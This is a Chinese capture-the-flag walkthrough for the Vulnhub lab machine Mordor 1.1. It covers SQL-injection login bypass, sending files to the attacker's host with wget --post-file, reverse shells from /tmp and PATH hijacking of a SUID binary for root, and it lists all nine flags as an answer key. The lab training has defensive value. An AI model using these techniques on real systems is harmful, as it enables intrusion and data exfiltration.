【渗透测试】Vulnhub靶机-Mordor: 1.1-详细通关教程
下载地址:https://www.vulnhub.com/entry/mordor-11,361/
目录
前言
渗透过程
隐藏目录(flag1)
ssh登录
post上传
开启/bin/sh(flag2)
图片隐写(flag3)
查看文件(flag4)
解答问题(flag5 flag6 flag7 flag8)
提权(flag9)
思路总结
前言
开始前有靶机简介得知,要收集9个flag,算是目前要收集flag最多的一台靶机了
若靶机无法获取ip,请看 → 解决靶机ip问题
本次虚拟机ip:
kali主机:192.168.4.231
vulnhub靶机:192.168.4.185
渗透过程
隐藏目录(flag1)
1.arp-scan扫出目标主机后,nmap进行端口扫描,除ssh和http外有个4000未知端口开启
2.先进入80页面查看,目录扫描后无信息,试着用nc连接下4000查看,有些文字,翻译后也没啥利用信息
3.后续换了工具和大字典扫都没有出结果,看了下wp,看来是要根据国外的指环王wiki来找信息,由wp得blackgate要拼接目录的,所以有个隐藏目录是blackgate,进去看下有回显,同时有flag1
flag{bc6fd79cd1fa7ebbcd420cb45434d9a2b4d921a5}
ssh登录
1.对/blackgate进行目录扫描,有/admin,进去是个登录框
2.我们试下弱口令却无效,试试sql注入,发现密码框进行admin' or 1=1 -- +时登录成功
3.但无跳转页面,根据经验有可能在响应包上有信息回显,我们用f12或bp拦截查看,发现cookie有信息拼接
4.翻译下,乍一看没信息,但注意看有orc和flag提示,据猜测orc可能是ssh的用户,至于flag应该指的是刚获取的flag1,但直接输入进去没用,我们试着解密下,拿到disquise,登入成功 → sha-1解密网站
post上传
1.虽然登入ssh,但只是个rbash,尝试rbash绕过但不行
2.查看下bin目录,能使用的命令只有这些,但有两个可疑命令,door和outpost,要下载下来解析下
3.既没有scp也不能用python开服务器下载,只有wget,那咋办呢?wget有个参数--post-file,可以传文件内容过去,那就利用这个思路把这两个的内容传到kali那,但需要的是post服务器,这就得复制python的post型服务器脚本到kali那 → post服务器
4.但注意这里是把传递文件内容给输出下来,这样不行,要把传的文件内容给写入到另一个文件那进行储存,修改为下列内容(把print这行删掉,改为写入文件的语句)
5.kali使用python2运行脚本,靶机那用--post-file进行上传,等待靶机传完后在kali就能看到outpost
wget --post-file=bin/outpost http://192.168.4.231:8000/
6.door同理,在脚本那将outpost文件名改成door即可,重新开启服务器,用同样方法传过去即可
开启/bin/sh(flag2)
1.使用strings先查看outpost,拿到flag2
flag{8a29aaf5687129c1d27b90578fc33ecc49d069dc}
2.把flag进行解密,解出badpassword
3.再使用strings查看door,可以看到同样有badpassword以及/bin/sh,应该是输入badpassword来得到/bin/sh从而绕过rbash,当然如果你用IDA同样能查看到具体代码
4.在靶机那运行door,输入badpassword,得到/bin/sh
5.只有$号,输入/bin/bash得到交互式shell,但还是有些命令没法使用,我们使用export来把/usr/bin加到环境变量来
export PATH=/usr/bin:$PATH
图片隐写(flag3)
1.使用sudo查看下,无提权信息,再使用find查找下可写文件,发现有个图片,猜测是隐写
find / -writable 2>/dev/null | grep -Ev '^/proc|^/sys'
2.使用scp把图片传过去,使用exiftool检查下,有句话也提示了有隐藏信息
3.使用steghide提取下,有个文件,查看下是个flag3
flag{9e49cb5caf91603db26adb774c6af72c88a6304a}
4.解密下这个flag,为23lorlorck
查看文件(flag4)
1.看起来是个密码,我们尝试在/home目录下每个用户都进行登录看看,发现nazgul可以登进去,但被直接退出去了
2.即使用ssh登录,但只要输入一条命令都被直接退出,那看来得用反弹shell方式重新建立一个shell,在/tmp写入反弹shell文件并给予执行权限,在ssh登录nazgul那输入/tmp/shell.sh执行即可(注意nc监听的shell不要建立交互式shell,否则同ssh登录一样被强制退出)
3. 家目录中无信息,我们用find找下这个用户是否有可利用的文件,发现有个目录有flag.txt,查看后拿到flag4
find / -user nazgul 2>/dev/null | grep -Ev '^/proc|^/sys'
flag{37643e626fb594b41cf5c86683523cbb2fdb0ddc}
解答问题(flag5 flag6 flag7 flag8)
1.将这个flag4解密下,为baraddur,看起来跟用户barad_dur相似,应该是他的密码,成功登录,拿到flag5
flag{636e566640f0930b4772ff76932dd4b83d8987af}
2.当得到flag5后会发现有一大篇文字后要解答问题,先回到nazgul的shell中直接su登录barad_dur,可以发现他那有个脚本
3.查看下txt,可以发现跟刚刚ssh登录的欢迎信息也有它显示,很明显那个脚本跟ssh也有关系,查看下
4.即使看不懂脚本也没关系,看看ssh登录回显的问题,发现都在faqs定义的字典里随机出现,而问题后面都会有字符串,可以猜测是答案,所以根据问题复制答案过去解答即可,回答完第一轮后就会有flag6
flag{63905253a3f7cde76ef8ab3adcae7d278b4f5251}
5.第二轮解答后,就有flag7
flag{dca13eaacea2f4d8c28b00558a93be0c2622bbe1}
6.第三轮解答后,拿到flag8
flag{79bed0c263a21843c53ff3c8d407462b7f4b8a4a}
7.继续解答到最后,就发现没flag获取了,直接拿到shell
提权(flag9)
1.当解答后会发现plans程序显示红色,添加了suid权限,说明要通过plans来提权
2.使用strings查看下,发现熟悉的setuid system setgid那些函数,但主要是发现执行了ls /root,而且执行plans发现是查看/root目录的文件
3.那就好办了,既然执行了ls命令,那么就采用环境变量劫持手段,在/tmp写入反弹shell到ls程序并给予权限,修改环境变量执行plans即可
4.最后切换到/root,查看flag.txt即可拿到flag9
flag{262efbb6087a6aae46f029a2ff19f9f409c9cd3d}
思路总结
这台靶机算是近期遇到的比较麻烦的靶机了,如果不是要看指环王的wiki的话恐怕连目录都很难进去,同时平常不经意的flag没想到也需要解密为sha-1来进行登录等操作,中间拿flag和提权的话较为轻松,整体难度中等,渗透链如下:
1.进入80网页,通过指环王wiki得到/blackgate,拿到flag1,sql万能密码注入登录进去,从cookie获得提示信息用户名密码登入orc用户
2.通过post服务器,将orc里的outpost和door传过去并查看,从outpost得到flag2,从door得到密钥,在靶机那登入启动/bin/sh,find查找到隐写图片,scp传到kali并用steghide查看隐写,拿到flag3
3.将flag3解密后登入nazgul却强制退出,通过写入反弹shell到/tmp/shell.sh,ssh登入后执行shell.sh反弹shell,find找到flag.txt,查看得到flag4
4.将flag4解密后登入baraddur得到flag5,查看脚本,通过对应问题答案一步步解答问题登入barad_dur,一轮一轮分别得到flag6、flag7、flag8,最后发现plans程序得到suid权限,执行后发现ls命令被执行,最后通过环境变量劫持,写入反弹shell到/tmp/ls并给予权限,执行后nc监听后得到root的shell,查看flag.txt得到flag9
flag{bc6fd79cd1fa7ebbcd420cb45434d9a2b4d921a5}
flag{8a29aaf5687129c1d27b90578fc33ecc49d069dc}
flag{9e49cb5caf91603db26adb774c6af72c88a6304a}
flag{37643e626fb594b41cf5c86683523cbb2fdb0ddc}
flag{636e566640f0930b4772ff76932dd4b83d8987af}
flag{63905253a3f7cde76ef8ab3adcae7d278b4f5251}
flag{dca13eaacea2f4d8c28b00558a93be0c2622bbe1}
flag{79bed0c263a21843c53ff3c8d407462b7f4b8a4a}
flag{262efbb6087a6aae46f029a2ff19f9f409c9cd3d}